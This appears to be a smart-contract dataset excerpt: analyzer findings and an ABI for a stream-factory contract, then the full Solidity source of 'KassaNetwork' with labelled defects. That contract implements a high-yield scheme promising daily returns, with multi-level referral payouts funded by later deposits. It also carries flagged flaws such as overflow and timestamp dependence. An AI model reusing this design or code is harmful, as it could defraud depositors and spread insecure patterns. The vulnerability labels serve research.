{"@openzeppelin/contracts/access/AccessControl.sol": [144, 142, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/access/AccessControl.sol": [160, 161, 162, 163, 164]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [79, 80, 81, 82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/SimpleStream.sol": [40, 41, 42]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/token/ERC20/IERC20.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Context.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/access/IAccessControl.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/access/AccessControl.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/ERC165.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Strings.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"contracts/SimpleStream.sol": [2]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [2]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"contracts/SimpleStream.sol": [41]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"contracts/SimpleStream.sol": [27]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/SimpleStream.sol": [40]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [94]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [42]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [44]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [43]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [46]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"contracts/SimpleStream.sol": [81]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"contracts/SimpleStream.sol": [61]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"contracts/SimpleStream.sol": [47]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 60, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 561, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 365, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 644, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 222, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 314, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 390, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 476, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 504, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 575, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 608, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 636, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 724, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 58, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 331, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 510, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 493, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 654, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 751, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 763, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 655, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 656, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 657, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 658, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 661, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 662, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 663, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 664, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 665, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 764, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 765, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 766, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 767, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 768, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 769, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 769, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 779, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 779, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 782, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 784, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 784, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 784, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"_admin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"creator","type":"address"},{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"address","name":"stream","type":"address"}],"name":"StreamAdded","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FACTORY_MANAGER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newFactoryManager","type":"address"}],"name":"addFactoryManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract SimpleStream","name":"stream","type":"address"}],"name":"addStreamForUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_toAddress","type":"address"},{"internalType":"uint256","name":"_cap","type":"uint256"},{"internalType":"uint256","name":"_frequency","type":"uint256"},{"internalType":"bool","name":"_startsFull","type":"bool"},{"internalType":"contract IERC20","name":"_gtc","type":"address"}],"name":"createStreamFor","outputs":[{"internalType":"address","name":"streamAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"getStreamForUser","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"cap","type":"uint256"}],"name":"updateUserStreamCap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userStreams","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}] | v0.8.4+commit.c7e474f2 | true | 200 | 000000000000000000000000816a7dccddb35f12207307d26424d31d2b674dff | Default | MIT | false | |||
KassaNetwork | 0x72fa6623cc0800bc180639d60c33c95426d76576 | Solidity | pragma solidity ^0.4.25;
//This smart-contract was developed exclusively for kassa.network
//if you need smart-contracts like this, more complicated or more simple, please contact [email protected]
contract Ownable
{
address public laxmi;
address public newLaxmi;
constructor() public
{
laxmi = msg.sender;
}
modifier onlyLaxmi()
{
require(msg.sender == laxmi, "Can used only by owner");
_;
}
function changeLaxmi(address _laxmi) onlyLaxmi public
{
require(_laxmi != 0, "Please provide new owner address");
newLaxmi = _laxmi;
}
function confirmLaxmi() public
{
require(newLaxmi == msg.sender, "Please call from new owner");
laxmi = newLaxmi;
delete newLaxmi;
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256)
{
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract KassaNetwork is Ownable
{
using SafeMath for uint;
string public constant name = 'Kassa 200/50';
uint public startTimestamp = now;
uint public constant procKoef = 10000;
uint public constant perDay = 75;
uint public constant ownerFee = 700;
uint[3] public bonusReferrer = [500, 200, 100];
uint public constant procReturn = 9000;
uint public constant maxDepositDays = 200;
uint public constant minimalDeposit = 0.5 ether;
uint public constant maximalDepositStart = 30 ether;
uint public constant maximalDepositFinish = 100 ether;
uint public constant minimalDepositForBonusReferrer = 0.015 ether;
uint public constant dayLimitStart = 50 ether;
uint public constant progressProcKoef = 100;
uint public constant dayLimitProgressProc = 2;
uint public constant maxDepositProgressProc = 1;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPenalty = 0;
uint public totalSelfInvest = 0;
uint public totalPaid = 0;
uint public unlimitedInvest = 3000 ether;
bool public isUnlimitedContractInvest = false;
bool public isUnlimitedDayInvest = false;
event LogInvestment(address _addr, uint _value, bytes _refData);
event LogTransfer(address _addr, uint _amount, uint _contactBalance);
event LogSelfInvestment(uint _value);
event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount);
event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres);
event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount);
event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals);
event LogNewReferralAtLevel(address _addr, uint[3] _levels);
event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty);
event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty);
event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit);
event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay);
event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer);
struct User
{
uint balance;
uint paidInteres;
uint timestamp;
uint countReferrals;
uint[3] countReferralsByLevel;
uint earnOnReferrals;
uint paidReferrals;
address referrer;
}
mapping (address => User) private user;
mapping (uint => uint) private usedDeposit;
function getInteres(address addr) private view returns(uint interes)
{
uint diffDays = getNDay(user[addr].timestamp);
if( diffDays > maxDepositDays ) diffDays = maxDepositDays;
interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef);
}
function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint[3] countReferralsByLevel, uint earnOnReferrals, uint paidReferrals, address referrer)
{
address a = addr;
return (
user[a].balance,
user[a].timestamp,
user[a].paidInteres,
getInteres(a),
user[a].countReferrals,
user[a].countReferralsByLevel,
user[a].earnOnReferrals,
user[a].paidReferrals,
user[a].referrer
);
}
function getCurrentDay() public view returns(uint nday)
{
nday = getNDay(startTimestamp);
}
function getNDay(uint date) public view returns(uint nday)
{
uint diffTime = date > 0 ? now.sub(date) : 0;
nday = diffTime.div(24 hours);
}
function getCurrentDayDepositLimit() public view returns(uint limit)
{
if (isUnlimitedDayInvest) {
limit = maximalDepositFinish;
return limit;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit <= maximalDepositFinish)
{
limit = dayDepositLimit;
}
else
{
limit = maximalDepositFinish;
}
}
function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res)
{
uint s = start;
uint base = 1 ether;
if (proc == 1)
{
s = s + base.mul(nDay.mul(nDay).mul(35).div(10000)) + base.mul(nDay.mul(4589).div(10000));
}
else
{
s = s + base.mul(nDay.mul(nDay).mul(141).div(10000)) + base.mul(nDay.mul(8960).div(10000));
}
return s;
}
function getDayDepositLimit(uint nDay) public pure returns(uint limit)
{
return calcProgress(dayLimitStart, dayLimitProgressProc, nDay );
}
function getMaximalDeposit(uint nDay) public pure returns(uint limit)
{
return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay );
}
function getCurrentDayRestDepositLimit() public view returns(uint restLimit)
{
uint nDay = getCurrentDay();
restLimit = getDayRestDepositLimit(nDay);
}
function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit)
{
restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]);
}
function getCurrentMaximalDeposit() public view returns(uint maximalDeposit)
{
uint nDay = getCurrentDay();
if (isUnlimitedContractInvest)
{
maximalDeposit = 0;
}
else
{
maximalDeposit = getMaximalDeposit(nDay);
}
}
function() external payable
{
emit LogInvestment(msg.sender, msg.value, msg.data);
processPayment(msg.value, msg.data);
}
function processPayment(uint moneyValue, bytes refData) private
{
if (msg.sender == laxmi)
{
totalSelfInvest = totalSelfInvest.add(moneyValue);
emit LogSelfInvestment(moneyValue);
return;
}
if (moneyValue == 0)
{
preparePayment();
return;
}
if (moneyValue < minimalDeposit)
{
totalPenalty = totalPenalty.add(moneyValue);
emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty);
return;
}
checkLimits(moneyValue);
address referrer = bytesToAddress(refData);
if (user[msg.sender].balance > 0 ||
refData.length != 20 ||
(!isUnlimitedContractInvest && moneyValue > getCurrentMaximalDeposit()) ||
referrer != laxmi &&
(
user[referrer].balance <= 0 ||
referrer == msg.sender)
)
{
uint amount = moneyValue.mul(procReturn).div(procKoef);
totalPenalty = totalPenalty.add(moneyValue.sub(amount));
emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty);
msg.sender.transfer(amount);
return;
}
uint nDay = getCurrentDay();
uint restDepositPerDay = getDayRestDepositLimit(nDay);
uint addDeposit = moneyValue;
if (!isUnlimitedDayInvest && moneyValue > restDepositPerDay)
{
uint returnDeposit = moneyValue.sub(restDepositPerDay);
uint returnAmount = returnDeposit.mul(procReturn).div(procKoef);
addDeposit = addDeposit.sub(returnDeposit);
totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount));
emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit);
msg.sender.transfer(returnAmount);
}
usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit);
emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]);
registerInvestor(referrer);
sendOwnerFee(addDeposit);
calcBonusReferrers(referrer, addDeposit);
updateInvestBalance(addDeposit);
}
function registerInvestor(address referrer) private
{
user[msg.sender].timestamp = now;
countInvestors++;
user[msg.sender].referrer = referrer;
//user[referrer].countReferrals++;
countReferralsByLevel(referrer, 0);
}
function countReferralsByLevel(address referrer, uint level) private
{
if (level > 2)
{
return;
}
uint l = level;
user[referrer].countReferralsByLevel[l]++;
emit LogNewReferralAtLevel(referrer, user[referrer].countReferralsByLevel);
address _nextReferrer = user[referrer].referrer;
if (_nextReferrer != 0)
{
l++;
countReferralsByLevel(_nextReferrer, l);
}
return;
}
function sendOwnerFee(uint addDeposit) private
{
transfer(laxmi, addDeposit.mul(ownerFee).div(procKoef));
}
function calcBonusReferrers(address referrer, uint addDeposit) private
{
address r = referrer;
for (uint i = 0; i < bonusReferrer.length && r != 0; i++)
{
uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef);
address nextReferrer = user[r].referrer;
emit LogCalcBonusReferrer(r, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer);
preparePaymentReferrer(r, amountReferrer);
r = nextReferrer;
}
}
function checkLimits(uint value) private
{
if (totalInvest + value > unlimitedInvest)
{
isUnlimitedContractInvest = true;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit > maximalDepositFinish)
{
isUnlimitedDayInvest = true;
}
}
function preparePaymentReferrer(address referrer, uint amountReferrer) private
{
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
uint totalReferrals = user[referrer].earnOnReferrals;
uint paidReferrals = user[referrer].paidReferrals;
if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer))
{
uint amount = totalReferrals.sub(paidReferrals);
user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount);
emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount);
transfer(referrer, amount);
}
else
{
emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals);
}
}
function preparePayment() public
{
uint totalInteres = getInteres(msg.sender);
uint paidInteres = user[msg.sender].paidInteres;
if (totalInteres > paidInteres)
{
uint amount = totalInteres.sub(paidInteres);
emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount);
user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount);
transfer(msg.sender, amount);
}
else
{
emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres);
}
}
function updateInvestBalance(uint addDeposit) private
{
user[msg.sender].balance = user[msg.sender].balance.add(addDeposit);
totalInvest = totalInvest.add(addDeposit);
}
function transfer(address receiver, uint amount) private
{
if (amount > 0)
{
if (receiver != laxmi) { totalPaid = totalPaid.add(amount); }
uint balance = address(this).balance;
emit LogTransfer(receiver, amount, balance);
require(amount < balance, "Not enough balance. Please retry later.");
receiver.transfer(amount);
}
}
function bytesToAddress(bytes source) private pure returns(address addr)
{
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function getTotals() public view returns(uint _maxDepositDays,
uint _perDay,
uint _startTimestamp,
uint _minimalDeposit,
uint _maximalDeposit,
uint[3] _bonusReferrer,
uint _minimalDepositForBonusReferrer,
uint _ownerFee,
uint _countInvestors,
uint _totalInvest,
uint _totalPenalty,
// uint _totalSelfInvest,
uint _totalPaid,
uint _currentDayDepositLimit,
uint _currentDayRestDepositLimit)
{
return (
maxDepositDays,
perDay,
startTimestamp,
minimalDeposit,
getCurrentMaximalDeposit(),
bonusReferrer,
minimalDepositForBonusReferrer,
ownerFee,
countInvestors,
totalInvest,
totalPenalty,
// totalSelfInvest,
totalPaid,
getCurrentDayDepositLimit(),
getCurrentDayRestDepositLimit()
);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["383"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["390"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["485"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["70"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["74", "97"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["290"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["211", "215", "406"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["514"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [491, 492]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"KassaNetwork.sol": [106]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"KassaNetwork.sol": [489, 490, 491, 492, 493]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"KassaNetwork.sol": [215]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"KassaNetwork.sol": [211]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KassaNetwork.sol": [22, 23, 24, 25, 26]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KassaNetwork.sol": [32, 33, 28, 29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KassaNetwork.sol": [160, 161, 162, 163, 164, 165, 166, 167, 168, 154, 155, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KassaNetwork.sol": [512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"KassaNetwork.sol": [357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [99]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [82]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [39]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [48]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [61]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [89]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [98]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [77]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [90]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [88]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [79]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [92]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [39]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [94]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [85]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [61]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [22]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KassaNetwork.sol": [48]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"KassaNetwork.sol": [336]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"KassaNetwork.sol": [341]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"KassaNetwork.sol": [340]}}] | [{"error": "Integer Underflow.", "line": 463, "level": "Warning"}, {"error": "Integer Underflow.", "line": 268, "level": "Warning"}, {"error": "Integer Overflow.", "line": 147, "level": "Warning"}, {"error": "Integer Overflow.", "line": 63, "level": "Warning"}, {"error": "Integer Overflow.", "line": 451, "level": "Warning"}, {"error": "Integer Overflow.", "line": 159, "level": "Warning"}, {"error": "Integer Overflow.", "line": 160, "level": "Warning"}] | [{"rule": "SOLIDITY_DIV_MUL", "line": 211, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 211, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 215, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 215, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 390, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 143, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 72, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 489, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 340, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 263, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 489, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 491, "severity": 1}] | 